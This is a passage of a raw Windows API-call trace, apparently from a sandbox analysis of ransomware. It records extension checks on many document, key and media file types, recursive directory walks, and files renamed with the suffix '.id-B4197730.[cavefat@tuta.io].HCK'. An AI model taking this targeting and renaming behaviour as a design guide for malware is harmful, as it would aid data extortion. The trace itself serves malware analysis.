lpString2=".HCK") returned 1 [0224.174] lstrlenW (lpString=".mos") returned 4 [0224.174] lstrcmpiW (lpString1=".mos", lpString2=".HCK") returned 1 [0224.174] lstrlenW (lpString=".mov") returned 4 [0224.174] lstrcmpiW (lpString1=".mov", lpString2=".HCK") returned 1 [0224.174] lstrlenW (lpString=".mp3") returned 4 [0224.174] lstrcmpiW (lpString1=".mp3", lpString2=".HCK") returned 1 [0224.175] lstrlenW (lpString=".mp4") returned 4 [0224.175] lstrcmpiW (lpString1=".mp4", lpString2=".HCK") returned 1 [0224.175] lstrlenW (lpString=".mpeg") returned 5 [0224.175] lstrcmpiW (lpString1=".mpeg", lpString2="].HCK") returned -1 [0224.175] lstrlenW (lpString=".mpg") returned 4 [0224.175] lstrcmpiW (lpString1=".mpg", lpString2=".HCK") returned 1 [0224.175] lstrlenW (lpString=".mpv") returned 4 [0224.175] lstrcmpiW (lpString1=".mpv", lpString2=".HCK") returned 1 [0224.175] lstrlenW (lpString=".mrw") returned 4 [0224.175] lstrcmpiW (lpString1=".mrw", lpString2=".HCK") returned 1 [0224.175] lstrlenW (lpString=".msg") returned 4 [0224.175] lstrcmpiW (lpString1=".msg", lpString2=".HCK") returned 1 [0224.175] lstrlenW (lpString=".mxl") returned 4 [0224.175] lstrcmpiW (lpString1=".mxl", lpString2=".HCK") returned 1 [0224.175] lstrlenW (lpString=".myd") returned 4 [0224.175] lstrcmpiW (lpString1=".myd", lpString2=".HCK") returned 1 [0224.175] lstrlenW (lpString=".myi") returned 4 [0224.175] lstrcmpiW (lpString1=".myi", lpString2=".HCK") returned 1 [0224.175] lstrlenW (lpString=".nef") returned 4 [0224.175] lstrcmpiW (lpString1=".nef", lpString2=".HCK") returned 1 [0224.175] lstrlenW (lpString=".nrw") returned 4 [0224.175] lstrcmpiW (lpString1=".nrw", lpString2=".HCK") returned 1 [0224.175] lstrlenW (lpString=".obj") returned 4 [0224.175] lstrcmpiW (lpString1=".obj", lpString2=".HCK") returned 1 [0224.175] lstrlenW (lpString=".odb") returned 4 [0224.175] lstrcmpiW (lpString1=".odb", lpString2=".HCK") returned 1 [0224.175] lstrlenW (lpString=".odc") returned 4 [0224.175] lstrcmpiW (lpString1=".odc", lpString2=".HCK") returned 1 [0224.175] lstrlenW (lpString=".odm") returned 4 [0224.175] lstrcmpiW (lpString1=".odm", lpString2=".HCK") returned 1 [0224.175] lstrlenW (lpString=".odp") returned 4 [0224.175] lstrcmpiW (lpString1=".odp", lpString2=".HCK") returned 1 [0224.175] lstrlenW (lpString=".ods") returned 4 [0224.175] lstrcmpiW (lpString1=".ods", lpString2=".HCK") returned 1 [0224.175] lstrlenW (lpString=".oft") returned 4 [0224.175] lstrcmpiW (lpString1=".oft", lpString2=".HCK") returned 1 [0224.175] lstrlenW (lpString=".one") returned 4 [0224.175] lstrcmpiW (lpString1=".one", lpString2=".HCK") returned 1 [0224.175] lstrlenW (lpString=".onepkg") returned 7 [0224.175] lstrcmpiW (lpString1=".onepkg", lpString2="io].HCK") returned -1 [0224.175] lstrlenW (lpString=".onetoc2") returned 8 [0224.175] lstrcmpiW (lpString1=".onetoc2", lpString2=".io].HCK") returned 1 [0224.175] lstrlenW (lpString=".opt") returned 4 [0224.175] lstrcmpiW (lpString1=".opt", lpString2=".HCK") returned 1 [0224.175] lstrlenW (lpString=".oqy") returned 4 [0224.175] lstrcmpiW (lpString1=".oqy", lpString2=".HCK") returned 1 [0224.175] lstrlenW (lpString=".orf") returned 4 [0224.175] lstrcmpiW (lpString1=".orf", lpString2=".HCK") returned 1 [0224.175] lstrlenW (lpString=".p12") returned 4 [0224.175] lstrcmpiW (lpString1=".p12", lpString2=".HCK") returned 1 [0224.175] lstrlenW (lpString=".p7b") returned 4 [0224.175] lstrcmpiW (lpString1=".p7b", lpString2=".HCK") returned 1 [0224.176] lstrlenW (lpString=".p7c") returned 4 [0224.176] lstrcmpiW (lpString1=".p7c", lpString2=".HCK") returned 1 [0224.176] lstrlenW (lpString=".pam") returned 4 [0224.176] lstrcmpiW (lpString1=".pam", lpString2=".HCK") returned 1 [0224.176] lstrlenW (lpString=".pbm") returned 4 [0224.176] lstrcmpiW (lpString1=".pbm", lpString2=".HCK") returned 1 [0224.176] lstrlenW (lpString=".pct") returned 4 [0224.176] lstrcmpiW (lpString1=".pct", lpString2=".HCK") returned 1 [0224.176] lstrlenW (lpString=".pcx") returned 4 [0224.176] lstrcmpiW (lpString1=".pcx", lpString2=".HCK") returned 1 [0224.176] lstrlenW (lpString=".pdd") returned 4 [0224.176] lstrcmpiW (lpString1=".pdd", lpString2=".HCK") returned 1 [0224.176] lstrlenW (lpString=".pdf") returned 4 [0224.176] lstrcmpiW (lpString1=".pdf", lpString2=".HCK") returned 1 [0224.176] lstrlenW (lpString=".pdp") returned 4 [0224.176] lstrcmpiW (lpString1=".pdp", lpString2=".HCK") returned 1 [0224.176] lstrlenW (lpString=".pef") returned 4 [0224.176] lstrcmpiW (lpString1=".pef", lpString2=".HCK") returned 1 [0224.176] lstrlenW (lpString=".pem") returned 4 [0224.176] lstrcmpiW (lpString1=".pem", lpString2=".HCK") returned 1 [0224.176] lstrlenW (lpString=".pff") returned 4 [0224.176] lstrcmpiW (lpString1=".pff", lpString2=".HCK") returned 1 [0224.176] lstrlenW (lpString=".pfm") returned 4 [0224.176] lstrcmpiW (lpString1=".pfm", lpString2=".HCK") returned 1 [0224.176] lstrlenW (lpString=".pfx") returned 4 [0224.176] lstrcmpiW (lpString1=".pfx", lpString2=".HCK") returned 1 [0224.176] lstrlenW (lpString=".pgm") returned 4 [0224.176] lstrcmpiW (lpString1=".pgm", lpString2=".HCK") returned 1 [0224.176] lstrlenW (lpString=".php") returned 4 [0224.176] lstrcmpiW (lpString1=".php", lpString2=".HCK") returned 1 [0224.176] lstrlenW (lpString=".php3") returned 5 [0224.176] lstrcmpiW (lpString1=".php3", lpString2="].HCK") returned -1 [0224.176] lstrlenW (lpString=".php4") returned 5 [0224.176] lstrcmpiW (lpString1=".php4", lpString2="].HCK") returned -1 [0224.176] lstrlenW (lpString=".php5") returned 5 [0224.176] lstrcmpiW (lpString1=".php5", lpString2="].HCK") returned -1 [0224.176] lstrlenW (lpString=".phtml") returned 6 [0224.176] lstrcmpiW (lpString1=".phtml", lpString2="o].HCK") returned -1 [0224.176] lstrlenW (lpString=".pict") returned 5 [0224.176] lstrcmpiW (lpString1=".pict", lpString2="].HCK") returned -1 [0224.176] lstrlenW (lpString=".pl") returned 3 [0224.176] lstrcmpiW (lpString1=".pl", lpString2="HCK") returned -1 [0224.176] lstrlenW (lpString=".pls") returned 4 [0224.176] lstrcmpiW (lpString1=".pls", lpString2=".HCK") returned 1 [0224.176] lstrlenW (lpString=".pm") returned 3 [0224.176] lstrcmpiW (lpString1=".pm", lpString2="HCK") returned -1 [0224.176] lstrlenW (lpString=".png") returned 4 [0224.176] lstrcmpiW (lpString1=".png", lpString2=".HCK") returned 1 [0224.176] lstrlenW (lpString=".pnm") returned 4 [0224.176] lstrcmpiW (lpString1=".pnm", lpString2=".HCK") returned 1 [0224.176] lstrlenW (lpString=".pot") returned 4 [0224.176] lstrcmpiW (lpString1=".pot", lpString2=".HCK") returned 1 [0224.176] lstrlenW (lpString=".potm") returned 5 [0224.176] lstrcmpiW (lpString1=".potm", lpString2="].HCK") returned -1 [0224.177] lstrlenW (lpString=".potx") returned 5 [0224.177] lstrcmpiW (lpString1=".potx", lpString2="].HCK") returned -1 [0224.177] lstrlenW (lpString=".ppa") returned 4 [0224.177] lstrcmpiW (lpString1=".ppa", lpString2=".HCK") returned 1 [0224.177] lstrlenW (lpString=".ppam") returned 5 [0224.177] lstrcmpiW (lpString1=".ppam", lpString2="].HCK") returned -1 [0224.177] lstrlenW (lpString=".ppm") returned 4 [0224.177] lstrcmpiW (lpString1=".ppm", lpString2=".HCK") returned 1 [0224.177] lstrlenW (lpString=".pps") returned 4 [0224.177] lstrcmpiW (lpString1=".pps", lpString2=".HCK") returned 1 [0224.177] lstrlenW (lpString=".ppsm") returned 5 [0224.177] lstrcmpiW (lpString1=".ppsm", lpString2="].HCK") returned -1 [0224.177] lstrlenW (lpString=".ppt") returned 4 [0224.177] lstrcmpiW (lpString1=".ppt", lpString2=".HCK") returned 1 [0224.177] lstrlenW (lpString=".pptm") returned 5 [0224.177] lstrcmpiW (lpString1=".pptm", lpString2="].HCK") returned -1 [0224.177] lstrlenW (lpString=".pptx") returned 5 [0224.177] lstrcmpiW (lpString1=".pptx", lpString2="].HCK") returned -1 [0224.177] lstrlenW (lpString=".prn") returned 4 [0224.177] lstrcmpiW (lpString1=".prn", lpString2=".HCK") returned 1 [0224.177] lstrlenW (lpString=".ps") returned 3 [0224.177] lstrcmpiW (lpString1=".ps", lpString2="HCK") returned -1 [0224.177] lstrlenW (lpString=".psb") returned 4 [0224.177] lstrcmpiW (lpString1=".psb", lpString2=".HCK") returned 1 [0224.177] lstrlenW (lpString=".psd") returned 4 [0224.177] lstrcmpiW (lpString1=".psd", lpString2=".HCK") returned 1 [0224.177] lstrlenW (lpString=".pst") returned 4 [0224.177] lstrcmpiW (lpString1=".pst", lpString2=".HCK") returned 1 [0224.177] lstrlenW (lpString=".ptx") returned 4 [0224.177] lstrcmpiW (lpString1=".ptx", lpString2=".HCK") returned 1 [0224.177] lstrlenW (lpString=".pub") returned 4 [0224.177] lstrcmpiW (lpString1=".pub", lpString2=".HCK") returned 1 [0224.177] lstrlenW (lpString=".pwm") returned 4 [0224.177] lstrcmpiW (lpString1=".pwm", lpString2=".HCK") returned 1 [0224.177] lstrlenW (lpString=".pxr") returned 4 [0224.177] lstrcmpiW (lpString1=".pxr", lpString2=".HCK") returned 1 [0224.177] lstrlenW (lpString=".py") returned 3 [0224.177] lstrcmpiW (lpString1=".py", lpString2="HCK") returned -1 [0224.177] lstrlenW (lpString=".qt") returned 3 [0224.177] lstrcmpiW (lpString1=".qt", lpString2="HCK") returned -1 [0224.177] lstrlenW (lpString=".r3d") returned 4 [0224.177] lstrcmpiW (lpString1=".r3d", lpString2=".HCK") returned 1 [0224.177] lstrlenW (lpString=".raf") returned 4 [0224.177] lstrcmpiW (lpString1=".raf", lpString2=".HCK") returned 1 [0224.177] lstrlenW (lpString=".rar") returned 4 [0224.177] lstrcmpiW (lpString1=".rar", lpString2=".HCK") returned 1 [0224.177] lstrlenW (lpString=".raw") returned 4 [0224.177] lstrcmpiW (lpString1=".raw", lpString2=".HCK") returned 1 [0224.177] FindNextFileW (in: hFindFile=0x5732e8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa2a49fc3, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2a49fc3, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2a49fc3, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="DESKTO~1.HCK")) returned 0 [0224.177] FindClose (in: hFindFile=0x5732e8 | out: hFindFile=0x5732e8) returned 1 [0224.178] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4060738 | out: hHeap=0x4f0000) returned 1 [0224.178] FindNextFileW (in: hFindFile=0x573768, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc9591c98, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xc9591c98, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0224.178] FindClose (in: hFindFile=0x573768 | out: hFindFile=0x573768) returned 1 [0224.178] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4050730 | out: hHeap=0x4f0000) returned 1 [0224.178] FindNextFileW (in: hFindFile=0x5732a8, lpFindFileData=0x371fcf8 | out: lpFindFileData=0x371fcf8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77000000, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1 [0224.178] FindNextFileW (in: hFindFile=0x5732a8, lpFindFileData=0x371fcf8 | out: lpFindFileData=0x371fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa5063cb6, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa5063cb6, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77000000, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1 [0224.178] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x4050730 [0224.178] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa5063cb6, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa5063cb6, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x573628 [0224.184] FindNextFileW (in: hFindFile=0x573628, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa5063cb6, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa5063cb6, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0224.185] FindNextFileW (in: hFindFile=0x573628, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1025", cAlternateFileName="")) returned 1 [0224.185] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3952410 [0224.185] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x573168 [0224.190] FindNextFileW (in: hFindFile=0x573168, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.190] FindNextFileW (in: hFindFile=0x573168, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2abc7d3, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2abc7d3, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2abc7d3, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x1e74, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="EULART~1.HCK")) returned 1 [0224.190] FindNextFileW (in: hFindFile=0x573168, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2a70254, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2a70254, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2a964c6, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x122e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="LOCALI~1.HCK")) returned 1 [0224.190] FindNextFileW (in: hFindFile=0x573168, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2c943ed, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2c943ed, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2cbaf30, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 1 [0224.190] FindNextFileW (in: hFindFile=0x573168, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2c943ed, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2c943ed, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2cbaf30, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4458, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 0 [0224.190] FindClose (in: hFindFile=0x573168 | out: hFindFile=0x573168) returned 1 [0224.200] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3952410 | out: hHeap=0x4f0000) returned 1 [0224.200] FindNextFileW (in: hFindFile=0x573628, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1028", cAlternateFileName="")) returned 1 [0224.200] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3952410 [0224.200] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x573228 [0224.201] FindNextFileW (in: hFindFile=0x573228, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.201] FindNextFileW (in: hFindFile=0x573228, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2abc7d3, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2abc7d3, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2b08b0d, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x1994, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="EULART~1.HCK")) returned 1 [0224.201] FindNextFileW (in: hFindFile=0x573228, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2abc7d3, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2abc7d3, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2abc7d3, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0xee96, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="LOCALI~1.HCK")) returned 1 [0224.202] FindNextFileW (in: hFindFile=0x573228, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2cbaf30, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2cbaf30, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2ce0a69, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 1 [0224.202] FindNextFileW (in: hFindFile=0x573228, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2cbaf30, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2cbaf30, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2ce0a69, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x3858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 0 [0224.202] FindClose (in: hFindFile=0x573228 | out: hFindFile=0x573228) returned 1 [0224.202] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3952410 | out: hHeap=0x4f0000) returned 1 [0224.202] FindNextFileW (in: hFindFile=0x573628, lpFindFileData=0x371fa7c | out: lpFindFileData=0x371fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1029", cAlternateFileName="")) returned 1 [0224.202] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3952410 [0224.202] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5736a8 [0224.204] FindNextFileW (in: hFindFile=0x5736a8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0224.204] FindNextFileW (in: hFindFile=0x5736a8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2ae29a8, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2ae29a8, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2ae29a8, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0xf74, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="EULART~1.HCK")) returned 1 [0224.204] FindNextFileW (in: hFindFile=0x5736a8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2ae29a8, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2ae29a8, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2b08b0d, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x13d46, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="LOCALI~1.HCK")) returned 1 [0224.204] FindNextFileW (in: hFindFile=0x5736a8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2cbaf30, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2cbaf30, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2cbaf30, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 1 [0224.204] FindNextFileW (in: hFindFile=0x5736a8, lpFindFileData=0x371f800 | out: lpFindFileData=0x371f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa2cbaf30, ftCreationTime.dwHighDateTime=0x1d64098, ftLastAccessTime.dwLowDateTime=0xa2cbaf30, ftLastAccessTime.dwHighDateTime=0x1d64098, ftLastWriteTime.dwLowDateTime=0xa2cbaf30, ftLastWriteTime.dwHighDateTime=0x1d64098, nFileSizeHigh=0x0, nFileSizeLow=0x4858, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll.id-B4197730.[cavefat@tuta.io].HCK", cAlternateFileName="SETUPR~1.HCK")) returned 0 [0224.204] FindClose (in: hFindFile=0x5736a8 | out: hFindFile=0x5736a8) returned 1 [0224.205] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3952410 | out: 